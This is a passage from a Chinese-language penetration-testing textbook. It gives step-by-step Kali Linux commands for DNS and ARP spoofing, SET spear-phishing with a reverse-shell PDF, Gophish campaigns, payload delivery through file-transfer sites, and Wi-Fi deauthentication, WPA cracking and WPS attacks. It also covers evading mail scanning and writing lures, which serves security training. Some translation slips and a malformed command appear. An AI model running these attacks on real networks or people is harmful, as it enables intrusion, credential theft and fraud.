如果攻击者或渗透测试员已经入侵了内部网络中的某个主机,他们可以通过 DNS 重定向来升级攻击。这通常被认为是一种水平攻击(它妥协的是大致相同访问权限的人);然而,如果捕获了特权人员的凭证,它也可能向上升级。 在本例中,我们将使用 bettercap(将在第十一章中更详细地探讨,行动目标与横向移动)作为嗅探器、拦截器和交换式 LAN 的日志记录工具。它便于实施中间人攻击,但我们将利用它发起 DNS 重定向攻击,将用户引导至用于社会工程学攻击的网站。
要启动攻击,我们需要安装 bettercap,而最新版本的 Kali 中默认未安装此工具。可以通过运行sudo apt install bettercap
来完成安装。安装完成后,我们应该能够激活所需的任何模块;例如,我们现在通过创建一个名为dns.conf
的文件,其中包含 IP 和域名详细信息,来尝试在目标上使用 DNS 欺骗攻击模块,如图 5.24所示。这样,网络上所有发送到microsoft.com
的请求将被转发到攻击者的 IP 地址,在此示例中为192.168.0.103
。
我们可以通过在 Kali Linux 上启动默认的 Apache 服务器来运行该攻击,首先通过运行sudo systemctl start apache2.service
来启动服务,接着通过在终端输入sudo bettercap
来运行 bettercap,加载我们的 DNS 配置文件set dns.spoof.hosts dns.conf
,然后通过运行dns.spoof on
来开启 DNS 欺骗:
图 5.24:配置 bettercap 以嗅探网络
为确保网络上的所有目标首先准备就绪,测试人员需要通过在 bettercap 终端输入net.sniff on
和arp.spoof on
来启用网络嗅探和 ARP 欺骗模块。成功的 DNS 重定向将在 bettercap 终端中被捕获,如图 5.25所示:
图 5.25:成功将 DNS 重定向 Microsoft.com 到攻击者的 IP
当网络上的受害者访问microsoft.com
时,他们将被重定向到托管在攻击者 IP 上的 Apache 服务。攻击者可以选择克隆microsoft.com
并将其托管在他们的 Apache 服务器上。在内部基础设施中,这种攻击更为成功,因为没有额外的 DNS 安全保护。大多数公司在其外部基础设施上有 DNS 保护,例如 Cloudflare、AWS Shield 和 Akamai。
网络钓鱼攻击
网络钓鱼是一种针对大量受害者的电子邮件欺诈攻击,例如一个已知的美国互联网用户列表。目标通常没有关联,电子邮件也不会试图吸引任何特定个人。
相反,邮件内容包含一些普遍感兴趣的项目(例如,点击这里接种 COVID-19 疫苗)和一个恶意链接或附件。攻击者打算通过概率,至少有一部分人会点击附件,从而发起攻击。
另一方面,网络钓鱼是一种高度特定的钓鱼攻击形式;通过以特定方式编写电子邮件消息,攻击者希望吸引特定受众的注意。例如,如果攻击者知道销售部门使用某个特定应用程序来管理客户关系,他们可能会伪造一封电子邮件,假装来自该应用程序的供应商,邮件主题为紧急修复<应用程序> - 点击链接下载
。
成功发起网络钓鱼攻击的步骤如下:
-
在发起攻击之前,确保在 Kali 上安装了
sendmail
(sudo apt-get install sendmail
),并将set.config
文件中的SENDMAIL=OFF
更改为SENDMAIL=ON
,该文件位于/etc/setoolkit/
。如果测试人员收到任何与
broken package exim*
相关的错误信息,应运行sudo apt-get purge exim4-base exim4-config
,然后运行sudo apt-get install sendmail
。 -
要执行攻击,启动 SET,然后从主菜单中选择
Social Engineering Attacks
,再从子菜单中选择Spear-Phishing Attack Vectors
。这将启动攻击的开始选项,如图 5.26所示:图 5.26:网络钓鱼主菜单
-
选择
1
进行大规模电子邮件攻击;然后会展示一系列攻击有效载荷,如图 5.27所示:图 5.27:网络钓鱼模块中可用的漏洞列表
-
攻击者可以根据在侦察阶段获得的目标信息选择任何可用的有效载荷。在这个示例中,我们将选择
7) Adobe Flash Player "Button" Remote Code Execution
选项。当你选择
7
时,将提示你选择有效载荷,如图 5.28所示。我们在这个示例中使用了 Windows Meterpreter 反向 Shell HTTPS:图 5.28:框架中支持的有效载荷
一旦从 SET 控制台准备好有效载荷和漏洞利用,攻击者将看到图 5.29 中显示的确认信息:
图 5.29:使用 Adobe 漏洞创建 PDF 文件
-
现在,您可以通过选择选项
2\. 重命名文件,我想让它看起来很酷
来重命名文件。 -
一旦重命名文件,您将有两个选项可以选择:
E-mail Attack Single Email Address
或E-mail Attack Mass Mailer
。 -
攻击者可以选择使用群发邮件或单独针对较弱的受害者,取决于其偏好。如果使用单个电子邮件地址,SET 会提供进一步的模板供攻击者使用,如图 5.30所示:
图 5.30:为单个电子邮件地址作为目标提供的预定义模板
-
在选择钓鱼模板后,您将有两个选项可用:使用自己的 Gmail 账户发起攻击(
1
)或使用自己的服务器或开放中继(2
)。如果使用 Gmail 账户,攻击可能会失败;Gmail 会检查外发邮件中的恶意文件,并且非常有效地识别 SET 和 Metasploit 框架生成的有效载荷。如果必须通过 Gmail 发送有效载荷,可以先使用 Veil 3.1 对其进行编码。
建议使用sendmail
选项发送可执行文件;它允许伪装邮件来源,使其看起来像是来自可信来源。为了确保邮件的有效性,攻击者应注意以下几点:
-
内容应提供诱因(新服务器将更快,具有更好的防病毒功能)和威胁(您需要进行的更改,才能访问您的电子邮件)。大多数人都会回应直接的行动呼吁,尤其是当它直接影响到他们时。
-
在前面的示例中,附加文档的标题为
template.pdf
。在实际场景中,这个标题应改为instructions.pdf
。 -
确保拼写和语法正确,邮件的语气应与内容相符。
-
发送电子邮件的个人职称应与内容相符。
-
如果目标组织较小,可能需要伪装成真实个人的名字,并将邮件发送给一个通常不会与该人互动的小群体。
-
包含一个电话号码;这会使邮件看起来更正式,而且可以通过各种方式使用商业语音 IP 解决方案获取带有本地区号的短期电话号码。
一旦攻击邮件发送到目标,成功激活(收件人启动可执行文件)将创建一个反向 Meterpreter 隧道,连接到攻击者的系统。攻击者将能够控制被攻陷的系统。
使用 Gophish 进行电子邮件钓鱼攻击
Gophish 是一个完全集成的开源钓鱼框架,同时也提供商业支持。该框架使任何类型的用户都可以快速创建钓鱼活动并在几分钟内部署一个复杂的钓鱼模拟或执行真实攻击。与 SET 不同,Gophish 并未预装在 Kali Linux 中。在本节中,我们将探讨如何设置环境:
-
通过访问
github.com/gophish/gophish/releases
,根据系统配置下载合适的版本。在本书中,我们将使用 gophish-v0.11.1 64 位 Linux 版本。 -
一旦应用程序下载到 Kali Linux,我们将解压缩文件夹并用正确的信息配置
config.json
文件;攻击者可以选择使用任何自定义数据库,如 MySQL、MSSQL 等。我们将使用sqlite3
;如果测试者希望通过局域网共享相同资源,则必须在listen_url
中声明明确的 IP 地址,如图 5.31所示。它设置为0.0.0.0
以监听所有以太网适配器。默认情况下,它只会暴露给本地主机:
图 5.31:更改 Gophish 配置文件,并将监听 URL 设置为 0.0.0.0:3333
-
下一步是通过在 Kali Linux 终端运行
chmod +x gophish
来更改文件权限以执行。最后,从同一文件夹中输入sudo ./gophish
运行应用程序,这应该会在默认的3333
端口上启动 Gophish Web 应用程序门户,并带有自签名的 SSL 证书。为了避免应用程序使用默认凭证,Gophish 的最新版本会在初始启动脚本中为admin
用户生成一个临时密码,如图 5.32所示:图 5.32:Gophish 启动时自动生成的 admin 用户密码
-
现在,你应该能够通过访问
https://yourIP:3333
来访问应用程序;你应该能够使用用户admin
和从上一步获取的密码进行登录。这将迫使测试者重置他们的初始密码,如图 5.33所示:图 5.33:成功登录后,Gophish 强制重置密码的界面,用户为 admin
当使用 Gophish 自签名证书在内部托管时,测试者在浏览器中将收到证书错误。
使用 Gophish 发起钓鱼攻击
在启动钓鱼活动之前,需要在 Gophish 中设置一些先决条件。它们可以大致分为几个重要步骤,以确保成功启动活动:
-
模板:模板是网络钓鱼中非常关键的部分;你必须能够根据你的游戏计划创建自己的模板。最常用的模板包括 Office365、Webmail 以及内部 Facebook 和 Gmail 登录页面。一些模板可以在
github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2005
找到。创建模板的简单步骤如下:在模板部分,点击新建模板,在名称和主题字段中输入详细信息,点击 HTML,复制模板中的原始 HTML 内容,粘贴到编辑器中,然后点击保存模板。
-
登录页面:网络钓鱼活动的效果总是与如何通过登录页面将受害者重定向到一个合法网站有关。
与模板步骤类似,从左侧菜单中导航到登录页面,点击新建页面,输入名称,然后复制并粘贴模板——你也可以直接导入一个站点。最后,点击保存页面。
-
发送配置:配置文件是你存储所有 SMTP 和发件人详细信息的地方;Gophish 允许攻击者定义多个配置文件,并可以使用自定义电子邮件头信息。
创建配置文件,点击发送配置,新建配置,并输入名称和接口类型;默认情况下应该选择SMTP。在发件人部分输入你选择的电子邮件 ID。主机是 SMTP 服务器——攻击者可以选择自己的服务器或使用现有服务,如 AWS。在我们的例子中,我们将使用
smtp.gmail.com:465
并输入用户名和密码。大多数反钓鱼解决方案会基于邮件头信息阻止邮件发送。因此,尝试使用电子邮件头Microsoft Office Outlook XX
或Outlook Express for Macintosh
。如果所有设置正常,可以点击发送测试邮件。成功的测试邮件应与图 5.34中的示例相似。最后,点击保存配置:图 5.34:Gophish 默认电子邮件
使用 Gmail 服务的测试人员必须确保开启低安全性应用访问,以允许第三方应用使用该服务。这可以通过访问
myaccount.google.com/lesssecureapps?pli=1
并开启允许低安全性应用来实现。 -
用户与组:上传单个或多个目标受害者的电子邮件 ID 和其名字、姓氏。Gophish 允许测试人员创建组并以 CSV 格式导入。
从菜单中导航到用户与组,点击新建组,然后导入一个 CSV 格式的文件,或者手动输入名字、姓氏、电子邮件 ID 和职位。点击添加,然后点击保存更改。
-
账户管理:单个实例可以启动多个钓鱼活动;因此,个别用户可以拥有自己的门户账户。
-
Webhook:Webhook 只是一个 Web 回调或 HTTP 推送应用程序编程接口(API)。此选项允许测试人员实现 Webhook,可以将结果直接推送到任何第三方 API。
一旦我们设置好了所有的模板、着陆页面、用户和发送配置文件,我们就可以通过点击菜单中的Campaigns来启动活动。然后点击New Campaign并输入活动的名称。选择电子邮件模板、着陆页面,并提供将承载钓鱼页面的主机/IP 的URL;通常,这将是运行 Gophish 的 Kali Linux IP 地址。选择启动日期或安排日期和时间,选择已创建的发送配置文件,选择组,如图 5.35所示,最后点击Launch Campaign。我们可以选择钓鱼活动开始的日期和时间以及目标受害者的组。Gophish 还提供了一个选项来测试电子邮件,查看它是被阻止了,还是直接进入目标的收件箱,具体取决于所选模板:
图 5.35:在特定目标上启动电子邮件活动
一旦活动成功启动,受害者应该会收到基于在活动选择过程中所选模板的电子邮件。使用Microsoft Teams Unread messages
模板的电子邮件将类似于图 5.36中所示:
图 5.36:使用 Microsoft Teams Unread 模板的钓鱼电子邮件示例
当目标用户点击电子邮件中的任何链接时,他们将被带到着陆页面,并且会带上由 Gophish 为目标用户生成的唯一 RID 号码。应显示一个示例的 Office 365 着陆页面,如图 5.37所示:
图 5.37:当受害者点击链接时,Office 365 着陆页面的示例
同一个着陆页面也可以与 BeEF 框架挂钩,以劫持浏览器并利用用户当前的浏览器会话;然而,我们将在第七章,利用基于 Web 的应用程序中探讨 BeEF 的详细内容。
最后,测试人员可以追踪每个活动启动后发送、打开、点击和提交的所有电子邮件,如图 5.38所示:
图 5.38:Gophish 仪表板
Email Reported选项包括那些发现并报告钓鱼邮件为可疑的用户。通常,内部 IT 安全团队成员可以利用这个输出评估用户的网络安全意识。
我们现在已经探讨了如何下载、安装和运行 Gophish,并启动电子邮件钓鱼活动。
使用批量传输作为钓鱼手段来传递负载
攻击者还可以利用大容量文件传输软件,如 Smash、Hightail、Terashare、WeTransfer、SendSpace 和 DropSend。假设我们针对了两个人,一个是财务管理员,另一个是 CEO。攻击者可以简单地在这两名受害者之间发送文件,访问其中一个大容量传输网站,如 sendspace.com
,上传一个恶意文件,同时将发送者设置为 Financeadmin@targetcompany.com
,将接收者设置为 ceo@targetcompany.com
。文件上传后,双方将收到包含文件链接的电子邮件;在这种情况下,ceo@targetcompany.com
将收到一封邮件,通知文件已成功发送,Financeadmin@cyberhia.com
将收到类似的邮件,如图 5.39所示:
图 5.39:Sendspace 大容量传输邮件
在大多数情况下,这些大容量传输并不在企业环境的阻止列表中(如果一个被阻止,攻击者可以切换到另一个),因此它们能直接访问内部员工并传递有效信息,且不可检测的有效载荷将提供更高的成功率,而不会暴露攻击者的身份。
概述
社会工程学是一种攻击人类的方法,利用人们固有的信任和乐于助人的特点来攻击网络及其设备。在本章中,我们探讨了社会工程学如何被用来促进旨在捕获凭证、激活恶意软件或协助发起进一步攻击的攻击。大多数攻击依赖于 SET 和 Gophish;然而,Kali 还拥有多个其他应用程序,可以通过社会工程学方法加以改进。我们还探讨了如何利用新的大容量传输公司来传播有效载荷,而不必使用任何电子邮件服务来执行钓鱼攻击。我们还研究了如何通过物理访问,通常与社会工程学结合使用,来将恶意设备放置在目标网络中。
在下一章中,我们将研究如何对无线网络进行侦察,并攻击开放网络以及基于 WPA2 加密方案保护的网络。我们还将研究无线和蓝牙协议中的一般弱点,这些弱点使它们容易受到拒绝服务攻击和冒充攻击。
第六章:无线和蓝牙攻击
移动设备的主导地位促使大多数公司采纳自带设备(BYOD),并需要提供即时的网络连接,使无线网络成为普遍的互联网接入点。不幸的是,无线接入的便利性伴随着有效攻击的增加,这些攻击可能导致数据盗窃、未经授权的访问以及网络资源的服务拒绝。Kali 提供了多种工具来配置并发起这些无线攻击,从而帮助组织提高安全性。
在本章中,我们将探讨几个日常管理任务和无线攻击,包括以下主题:
-
配置 Kali 进行无线和蓝牙攻击
-
无线和蓝牙侦察
-
绕过隐藏的服务集标识符(SSID)
-
绕过 MAC 地址认证和开放认证
-
破解 WPA/WPA2 加密并执行中间人攻击(MiTM)
-
使用 Reaver 攻击无线路由器
-
拒绝服务(DoS)攻击针对无线和蓝牙通信
无线和蓝牙技术介绍
无线技术使得两个或多个实体可以在没有任何类型的电线或电缆的情况下进行远距离通信。它利用无线电频率(RF)和红外线(IR)波。
表 6.1概述了不同的无线技术,支持的 IEEE 标准、操作的无线频率、数据比特率以及网络范围和大小:
名称 | 蓝牙经典 | 蓝牙 4.0 低能耗(BLE) | ZigBee | Wi-Fi | Wi-Fi 5/6 |
---|---|---|---|---|---|
IEEE 标准 | 802.15.1 | 802.15.1 | 802.15.4 | 802.11(a, b, g, n) | 802.11(ac, ax) |
频率(GHz) | 2.4 | 2.4 | 0.868, 0.915, 2.4 | 2.4 和 5 | ac=5, ax=2.4 和 5 |
最大原始比特率(Mbps) | 1-3 | 1 | 0.250 | 11(b),54(g),600(n) | 433(ac)600.4(ax) |
典型数据吞吐量(Mbps) | 0.7-2.1 | 0.27 | 0.2 | 7(b),25(g),150(n) | 6933(ac)9607.8(ax) |
最大(户外)范围(米) | 10(2 类),100(1 类) | 50 | 10-100 | 100-250 | ac=35-110 ax=70-240 |
网络大小 | 7 | 未定义 | 64,000+ | 255 | 8 |
表 6.1:不同类型无线技术的比较
在本章中,我们将重点介绍两种主要的无线技术:蓝牙和 Wi-Fi。主要区别在于,Wi-Fi 能够提供长距离和高速互联网,而蓝牙则为短距离设备设计,用于共享信息。
配置 Kali 进行无线攻击
Kali Linux 预装了多种工具,以便于无线网络的测试;然而,这些攻击需要广泛的配置才能完全有效。此外,测试人员在实施攻击或审计无线网络之前,应具备扎实的无线网络背景。
无线安全测试中最重要的工具是无线适配器,它连接到无线接入点(AP)。它必须支持使用的工具,尤其是aircrack-ng
工具套件;特别是,卡的芯片组和驱动程序必须具备将无线数据包注入通信流的能力。
这是对需要将特定数据包类型注入目标和受害者之间流量的攻击的要求。注入的数据包可以导致 DoS 攻击,使攻击者能够捕获破解加密密钥所需的握手数据或支持其他无线攻击。
与 Kali 兼容的最可靠适配器是 Alfa 网络卡,特别是 AWUS036NH 或 Wi-Fi Pineapple 适配器,或者支持无线 802.11 b、g 和 n 协议的 TP-Link N150 TL-WN722N 版本 1。同样,为了执行蓝牙攻击,建议使用外部加密狗,如 TP-Link USB 蓝牙适配器或 WAVLINK 无线蓝牙 CSR 4.0 加密狗。这些卡通常不到 10 美元,且可以在线轻松购买,支持 Kali 执行的所有测试和攻击。
无线侦察
进行无线攻击的第一步是进行侦察——这有助于确定目标 AP 的确切位置,并突出显示可能影响测试的其他无线网络。
如果你使用的是 USB 连接的无线网卡连接到 Kali 虚拟机,请确保 USB 连接已经从宿主操作系统断开,并已连接到虚拟机。如果你使用的是 VirtualBox,选择 Kali Linux 虚拟机,然后点击设置。选择USB类别,点击带有**+符号的 USB 图标,然后选择 USB 无线或蓝牙适配器。这将断开 USB 与宿主操作系统的连接,并将其连接到你的 VirtualBox。同样,对于 VMware,点击主菜单中的VM**,点击可移动设备,然后选择你的无线或蓝牙设备。
接下来,通过在命令行中运行iwconfig
来确定可用的无线接口,如图 6.1所示:
图 6.1:无线适配器列表
对于某些攻击,你可能希望增加适配器的输出功率。如果你与一个合法的无线 AP 位于同一位置,并且希望目标连接到你控制的虚假 AP 而不是合法 AP,这将特别有用。这些虚假或恶意AP 允许攻击者截获数据,并根据需要查看或修改数据以支持攻击。攻击者经常会复制或克隆一个合法的无线网络,然后将其传输功率提高,以便吸引受害者。要增加功率,使用以下命令:
sudo iwconfig wlan0 txpower 30
许多攻击将使用 aircrack-ng
及其相关工具进行。首先,我们需要拦截或监控无线传输;因此,我们需要通过 airmon-ng
命令将 Kali 通信接口设置为监控模式:
sudo airmon-ng start wlan0
上一条命令的执行结果如 图 6.2 所示:
图 6.2:使用 airmon-ng 启动监控模式
请注意,返回的描述表示有些进程可能会造成问题。处理这些进程的最有效方法是使用全面的 kill
命令,如下所示:
sudo airmon-ng check kill
要查看本地无线环境,请使用以下命令:
sudo airodump-ng wlan0mon
上一条命令列出了在特定时间内无线适配器范围内能够发现的所有网络。它提供了网络上无线节点的基本服务集标识符(BSSID),该标识符是通过 MAC 地址识别的。
媒体访问控制(MAC)地址唯一标识网络中的每个节点。它由六对十六进制数字(0 到 9 和字母 A 到 F)组成,并通过冒号或短横线分隔,通常以这种格式显示:00:50:56:C0:00:01
。
它还显示了相对输出功率的指示、已发送数据包的信息、包括所用频道和数据的带宽信息、加密使用情况的信息,以及提供无线网络名称的扩展服务集标识符(ESSID)。这些信息如 图 6.3 所示,非必要的 ESSID 已被模糊处理:
图 6.3:airodump-ng 正在积极识别不同的无线 AP
airodump
命令默认在 2.4 GHz 上循环通过可用的无线频道 1-13,并识别以下内容:
-
BSSID
是唯一的 MAC 地址,用于标识无线接入点(AP)或路由器。 -
每个网络的
PWR
或功率。虽然airodump-ng
错误地显示功率为负值,但这只是一个报告伪影。要获取正确的正值,请访问终端并运行airdriver-ng unload 36
,然后运行airdriver-ng load 35
。 -
CH
显示正在用于广播的频道。 -
ENC
显示所使用的加密方式——如果没有使用加密,则为OPN
(开放);如果使用加密,则为WEP
或WPA
/WPA2
。CIPHER
和AUTH
提供附加的加密信息。 -
ESSID
是无线网络的公共名称,由共享相同 SSID 或名称的接入点(AP)组成。
在终端窗口的下部,你将看到尝试连接或已连接到无线网络的站点。
在我们与任何这些(潜在的)目标网络交互之前,我们必须确认我们的无线适配器能够进行数据包注入。为此,请在终端 shell 提示符下运行以下命令:
sudo aireplay-ng -9 wlan0mon
这里,-9
表示注入测试。这将提供向目标 Wi-Fi 网络注入数据包的能力。
绕过隐藏的 SSID
ESSID 是唯一标识无线局域网的字符序列。隐藏 ESSID 是一种试图通过模糊安全性来实现的差劲方法;不幸的是,可以通过以下任何一种方式获得 ESSID:
-
嗅探无线环境并等待客户端连接到网络,然后捕获该连接
-
主动取消认证客户端,迫使客户端关联并捕获该关联
aircrack
工具特别适合捕获解除隐藏 ESSID 所需的数据,如以下步骤所示:
-
在命令提示符下,确认攻击系统上已启用无线功能,通过输入以下命令:
sudo airmon-ng
-
接下来,使用以下
ifconfig
命令查看可用的接口,并确定无线系统使用的确切名称:ifconfig
-
启用无线接口,输入以下命令(你可能需要将
wlan0
替换为前一步骤中识别的可用无线接口):sudo airmon-ng start wlan0
-
如果你重新确认
ifconfig
,你会看到现在正在使用一个监视地址或wlan0mon
。现在使用airodump
确认可用的无线网络,输入以下命令,攻击者应该能够看到图 6.4中的屏幕:sudo airodump-ng wlan0mon
图 6.4:airodump 显示所有可用的无线网络
正如你在图 6.4中看到的,最后一个网络的
ESSID
仅被识别为<length: 0>
。没有使用其他名称或标识。隐藏的ESSID
的长度被标识为由九个字符组成;然而,这个值可能不正确,因为ESSID
是隐藏的。真实的ESSID
长度实际上可能比九个字符更短或更长。重要的是,可能有客户端连接到这个特定网络。如果有客户端存在,我们将取消认证客户端,迫使他们在重新连接到 AP 时发送
ESSID
。 -
重新运行
airodump
并过滤掉除了目标 AP 之外的所有内容。在这个特定案例中,我们将专注于使用以下命令从频道 11 上的隐藏网络收集数据:sudo airodump-ng -c 11 wlan0mon
执行此命令将移除来自多个无线源的输出,并允许攻击者专注于目标
ESSID
,如图 6.5所示:图 6.5:airodump 在频道 11 上运行
执行
airodump
命令时获得的数据表明,有一个站点(82:A4:64:7F:6D:88
)连接到了BSSID
(C0:05:C2:02:85:67
),而该BSSID
又与隐藏的ESSID
相关联。 -
为了捕获正在传输的
ESSID
,我们需要创建一个条件,确保它会在客户端与 AP 连接的初始阶段发送。因此,我们将通过发送一串数据包发起去认证攻击,既对客户端也对 AP 进行攻击,打破它们之间的连接,并迫使客户端重新与 AP 关联。
要发起攻击,打开一个新的命令行窗口并输入如下截图所示的命令(
0
表示我们正在发起去认证攻击,10
表示我们将发送10
个去认证数据包,-a
是目标 AP,c
是客户端的 MAC 地址):图 6.6:向连接的站点发送去认证数据包
-
在所有去认证数据包发送完毕后,返回到最初监视网络连接的窗口,如图6.7所示:
图 6.7:隐藏的 ESSID 现在在频道 11 的 airodump 中可见
现在你将看到明文显示的ESSID
。
知道ESSID
有助于攻击者确认他们专注于正确的网络(因为大多数 ESSID 基于企业身份),并有助于登录过程。
绕过 MAC 地址认证和开放认证
MAC 地址通常与网络适配器或具有网络功能的设备关联;因此,它通常被称为物理地址。
MAC 地址中的前三对数字称为组织唯一标识符,它们用于识别制造或销售设备的公司。最后三对数字是特定于设备的,可以视为设备的序列号。
因为 MAC 地址是唯一的,它可以用于将用户与特定网络关联,特别是无线网络。这有两个重要的意义——它可以用于识别试图访问网络的黑客或合法的网络测试人员,且它可以作为身份验证的手段,允许个人访问网络。
在渗透测试中,测试者可能希望在网络中保持匿名。一种支持这种匿名配置的方法是更改攻击系统的 MAC 地址。
这可以通过手动使用ifconfig
命令来完成。要确定现有的 MAC 地址,请从命令行窗口运行以下命令:
sudo ifconfig wlan0 down
sudo ifconfig wlan0 | grep HW
要手动更改 IP 地址,请使用以下命令:
sudo ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
sudo ifconfig wlan0 up
替换xx
表达式中的十六进制对。此命令将允许我们将攻击系统的 MAC 地址更改为一个受害网络已使用并接受的地址。攻击者必须确保该 MAC 地址在网络中尚未被使用,否则,如果网络正在被监控,重复的 MAC 地址可能会触发警报。
在更改 MAC 地址之前,必须关闭无线接口。
Kali 还允许使用自动化工具macchanger
。要将攻击者的 MAC 地址更改为由相同供应商生产的产品的 MAC 地址,可以从终端窗口使用以下macchanger
命令:
sudo macchanger wlan0 -e
要将现有的 MAC 地址更改为完全随机的 MAC 地址,请使用以下命令:
sudo macchanger wlan0 -r
你应该能够看到macchanger
工具。图 6.8提供了分配给我们无线适配器的新 MAC 地址:
图 6.8:更改无线适配器的 MAC 地址
一些攻击者在测试过程中使用自动化脚本频繁更改其 MAC 地址,以实现匿名化。
许多组织,特别是大型学术团体,如高校和大学,使用 MAC 地址过滤来控制谁可以访问其无线网络资源。
MAC 地址过滤使用网络卡上的唯一 MAC 地址来控制对网络资源的访问;在典型配置中,组织维护一个允许访问网络的 MAC 地址白名单。如果传入的 MAC 地址不在批准的访问列表中,则会限制其连接网络。
不幸的是,MAC 地址信息以明文形式传输。攻击者可以使用airodump
收集已接受的 MAC 地址列表,然后手动将其 MAC 地址更改为目标网络接受的地址之一。因此,这种类型的过滤几乎无法为无线网络提供实际的保护。
无线网络保护的下一个层级是使用加密来提供。
攻击 WPA 和 WPA2
Wi-Fi 保护访问(WPA)和Wi-Fi 保护访问 2(WPA2)是无线安全协议,旨在解决 WEP 的安全缺陷。由于 WPA 协议为每个数据包动态生成新的密钥,它们能够防止导致 WEP 失败的统计分析。然而,它们也容易受到某些攻击技术的影响。
WPA 和 WPA2 通常与预共享密钥(PSK)一起使用,以确保 AP 和无线客户端之间的通信安全。PSK 应至少为 13 个字符长度的随机密码短语;如果不是,可以通过暴力破解攻击将 PSK 与已知字典进行比较,从而确定 PSK。这是最常见的攻击方式。
请注意,如果配置为企业模式,使用 RADIUS 认证服务器进行身份验证,可能需要更强大的计算机来破解密钥或执行不同类型的中间人攻击(MiTM)。
暴力破解攻击
与 WEP 不同,WEP 可以通过对大量数据包进行统计分析来破解,而 WPA 解密要求攻击者创建特定的数据包类型,以揭示细节,例如 AP 与客户端之间的握手。
要攻击 WPA 传输,应执行以下步骤:
-
启动无线适配器,并使用
ifconfig
命令确保已创建监视接口。 -
使用
sudo airodump-ng wlan0mon
来识别目标网络。 -
使用以下命令开始捕获目标 AP 与客户端之间的流量:
sudo airodump-ng --bssid F0:7D:68:44:61:EA -c 11 --showack --output-format pcap --write <OUTPUT LOCATION> wlan0mon
-
设置
-c
来监视特定频道,--write
将输出写入文件以供稍后的字典攻击使用,--showack
标志确保客户端计算机确认你请求将其从无线 AP 去认证。上述命令的典型输出如图 6.9所示:图 6.9:在频道 11 上对特定 BSSID 的 airodump
-
保持这个终端窗口打开,并打开第二个终端窗口来发起去认证攻击;这将迫使用户重新认证目标 AP 并重新交换 WPA 密钥。去认证攻击命令如下所示:
sudo aireplay-ng -0 10 -a <BSSID> -c <STATION ID> wlan0mon
图 6.10展示了
aireplay-ng
在去认证连接到特定 BSSID 的站点时的实际操作:图 6.10:将站点从 BSSID 去认证
-
成功的去认证攻击将显示
ACKs
,这表示连接到目标 AP 的客户端已确认刚刚发送的去认证命令。 -
检查原始命令行窗口,保持开启以监控无线传输,并确保捕获到四路握手。成功的 WPA 握手将在控制台的右上角标识出来。在以下示例中,数据表明 WPA 握手值为
C2:B3:7B:17:00:B7
:图 6.11:成功捕获特定 BSSID 的无线握手
-
使用
aircrack
通过定义的词表破解 WPA 密钥。攻击者为收集握手数据定义的文件名将位于根目录,并附加.cap
扩展名。
在 Kali 中,词表位于/usr/share/wordlists
目录中。虽然有多个词表可用,但建议下载更有效破解常见密码的列表。
在之前的示例中,密钥已预先放入密码列表中。对一个长且复杂的密码进行字典攻击可能需要几个小时,具体时间取决于系统配置。以下命令使用passwordlist
作为源词表(攻击者也可以使用位于 Kali 的/usr/share/wordlists/
文件夹中的密码列表):
sudo aircrack-ng -w passwordlist -b BSSID <OUTPUT LOCATION>Output.cap
图 6.12展示了成功破解 WPA 密钥的结果;经过测试六个常见密钥后,网络名为“Hidden”的密钥被发现是Letmein87
:
图 6.12:无线适配器列表
如果你没有现成的自定义密码列表,或者希望快速生成一个列表,可以在 Kali 中使用 crunch 应用程序。以下命令指示 crunch 使用给定的字符集创建一个最小长度为5
字符、最大长度为25
字符的单词列表:
sudo crunch 5 25 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng --bssid (MAC address) -w nameofthewifi.cap
作为附加选项,你还可以通过使用基于 GPU 的密码破解工具(如 AMD/ATI 显卡的 oclHashcat 和 NVIDIA 显卡的 cudaHashcat)来提高暴力破解攻击的效果。
要实施此攻击,首先使用以下命令将 WPA 握手捕获文件output.cap
转换为hashcat
文件:
sudo aircrack-ng nameofthewifi.cap -j <output file>
转换完成后,你应该在运行命令的同一文件夹中获得一个.hccapx
文件。现在,攻击者可以通过以下命令执行hashcat
,对新的捕获文件进行攻击(选择与您的 CPU 架构和显卡匹配的hashcat
版本):
sudo hashcat -m 2500 <filename>.hccapx <wordlist>
图 6.13:在 VirtualBox 中使用主机 GPU 运行 hashcat
在虚拟容器(如 VirtualBox 或 VMware)中运行 hashcat 时,常见的问题之一是用户可能无法按预期运行 hashcat,因为 3.x 版本的 hashcat 需要 GPU。然而,可以通过在终端中运行以下命令来作为替代方案:sudo apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev
。这将允许测试人员利用 CPU 的计算能力在容器内运行 hashcat。
如果你有多个 GPU,测试人员可以利用诸如 John the Ripper 和cowpatty
等工具,通过终端中的以下命令,从捕获的无线流量中破解密码:
sudo john –w=<dictionaryfile> --stdout | sudo cowpatty -r yourhandshake.cap -d - -s WIFIESSIDS
基本上,John the Ripper 会逐步创建一个字典,包含所有字符、特殊字符和数字。之后,输出将传递给 Pyrit,通过passthrough
关键字来破解密码,并且cowpatty
将针对特定的WIFIESSID
来破解密码。
使用 Reaver 攻击无线路由器
WPA 和 WPA2 也容易受到针对 AP 的Wi-Fi 保护设置(WPS)和 PIN 攻击。
大多数 AP 支持 WPS 协议,该协议于 2006 年作为标准推出,旨在让用户轻松设置和配置 AP,并将新设备添加到现有网络中,而无需重新输入复杂的密码。
不幸的是,PIN 是一个八位数字(1 亿个可能的猜测),但最后一个数字是校验和。由于 WPS 认证协议将 PIN 分为两半并分别验证每一半,这意味着 PIN 的前半部分有 10⁴(10,000)个可能的值,后半部分有 10³(1,000)个可能的值——攻击者最多只需猜测 11,000 次就能攻破 AP!
Reaver 是一个旨在最大化猜测过程的工具(尽管 Wifite 也会进行 WPS 猜测)。
要开始 Reaver 攻击,首先使用 wash
辅助工具识别任何易受攻击的网络,确保设备处于监视模式,可以通过运行 sudo airmon-ng start wlan0
来启动监视模式,然后运行以下命令:
sudo wash -i wlan0mon --ignore-fcs
如果存在任何易受攻击的网络,可以使用以下命令对其发起攻击:
sudo reaver -i wlan0mon -b (BSSID) -vv
攻击者在终端运行 Reaver 工具时应能够看到以下截图:
图 6.14:Reaver 在特定 BSSID 上运行
在 Kali 中测试此攻击已证明攻击速度较慢且容易失败;然而,它可以作为背景攻击使用,或者可以补充其他攻击方式来破坏 WPA 网络。
针对无线通信的拒绝服务(DoS)攻击
